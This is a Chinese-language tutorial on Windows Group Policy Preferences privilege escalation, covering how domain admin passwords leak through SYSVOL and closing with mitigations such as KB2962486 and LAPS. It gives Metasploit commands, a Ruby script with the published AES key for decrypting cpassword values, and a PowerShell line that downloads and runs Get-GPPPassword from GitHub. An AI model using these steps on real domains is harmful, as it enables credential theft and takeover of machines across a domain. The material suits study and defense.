組策略首選項提權
Windows 2008 Server引入了一項稱為組策略首選項(Group Policy Preferences)的新功能,該功能使管理員可以部署影響域中計算機/使用者的特定配置。透過在組策略管理控制檯中配置的組策略首選項,管理員可以推出多種策略,例如,批次修改域內機器的本地管理員賬號名稱與密碼。
組策略的發展
域環境下密碼難題:
在Windows server 2003中,想要批次修改域內主機本地管理員密碼,常常透過配置組策略執行vbs指令碼的方式
strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
這種方式十分簡便,但也存在著極大的弊端,弊端在於修改後的密碼會明文儲存在vbs指令碼中 而該vbs指令碼通常會儲存在共享資料夾SYSVOL。這就存在一個隱患: 任何域使用者都能讀取該vbs指令碼,也就能夠獲取指令碼中儲存的明文密碼。
SYSVOL:
SYSVOL是AD(活動目錄)裡面一個儲存域公共檔案伺服器副本的共享資料夾,所有的認證使用者都可以讀取。SYSVOL包括登入指令碼,組策略資料,以及其他域控所需要的域資料,這是因為SYSVOL能在所有域控裡進行自動同步和共享。
c:\Windows\SYSVOL\domain\Policies
域內機器透過訪問如下,就能訪問到組策略儲存位置
\\域控ip\SYSVOL\域名\Policies\
組策略偏好GPP
在2006年,微軟收購了桌面標準的“PolicyMaker”,並重新藉此與win2008釋出了GPP(Group Policy Preferences)。其中GPP最有用的特性,是在某些場景儲存和使用憑據,其中包括:
對映驅動(Drives.xml)建立本地使用者資料來源(DataSources.xml)印表機配置(Printers.xml)建立/更新服務(Services.xml)計劃任務(ScheduledTasks.xml)更改本地Administrator密碼
在一般域環境中所有機器都是指令碼化批次部署的,資料量很大,為了方便對所有機器進行操作。網管會使用域策略進行統一的配置和管理,大多陣列織在建立域環境後會要求加入域的計算機使用域使用者密碼進行登入驗證。為了保證本地管理員的安全性,這些組織的網路管理員往往會修改本地管理員密碼。
透過組策略修改密碼,若攻擊者獲得一臺機器的本地管理員密碼,就相當於獲取整個域中所有機器的本地管理員密碼。
組策略首選項提權的實現
域控的組策略中新建dc_admin組策略
編輯新建的dc_admin ,如下進行新建
將域中每個計算機的本地administrator使用者更名為 admin,並且設定新的密碼Aa123456
確定後新增domain computers
更新組策略
管理員在域中新建一個組策略後,作業系統會自動在SYSVO共享目錄中生成一個XML檔案,該檔案中儲存了該組策略更新後的密碼。該密碼使用AES-256加密演算法,安全性還是比較高的。但是,2012年微軟在官方網站上公佈了該密碼的私鑰,導致儲存在XML檔案中的密碼的安全性大大降低。任何域使用者和域信任的使用者均可對該共享目錄進行訪問,這就意味著,任何使用者都可以訪問儲存在XML檔案中的密碼並將其解密,從而控制域中所有使用該賬號、密碼的本地管理員計算機。可透過在SYSVOL中搜尋,可以找到Groups.xml檔案
組策略密碼解密
1、MSF下的GGP解密
msf > use post/windows/gather/credentials/gpp
msf>post/windows/gather/credentials/gpp>sessions
msf>post/windows/gather/credentials/gpp> set SESSION 1
msf>post/windows/gather/credentials>show options
msf>post/windows/gather/credentials/gpp> run
2、 ruby指令碼
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
3、kali
gpp -decrypt xxxxxx
4、powershell指令碼:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
防禦措施:
在用於管理組策略的計算機上安裝 KB2962486補丁,防止新的憑據被放置在組策略首選項中。微軟在2014年修復了組策略首選項提權漏洞,使用的方法就是不再將密碼儲存在組策略首選項中。
此外,針對Everyone訪問許可權進行設定,具體如下:
設定共享資料夾SYSVOL的訪問許可權
將包含組策略密碼的XML檔案從 SYSVOL 目錄中刪除
不要把密碼放在所有域使用者都有權訪問的檔案中
如果需要更改域中機器的本地管理員密碼,建議使用LAPS
參考文獻:https://blog.csdn.net/liu_jia_liang/article/details/123202320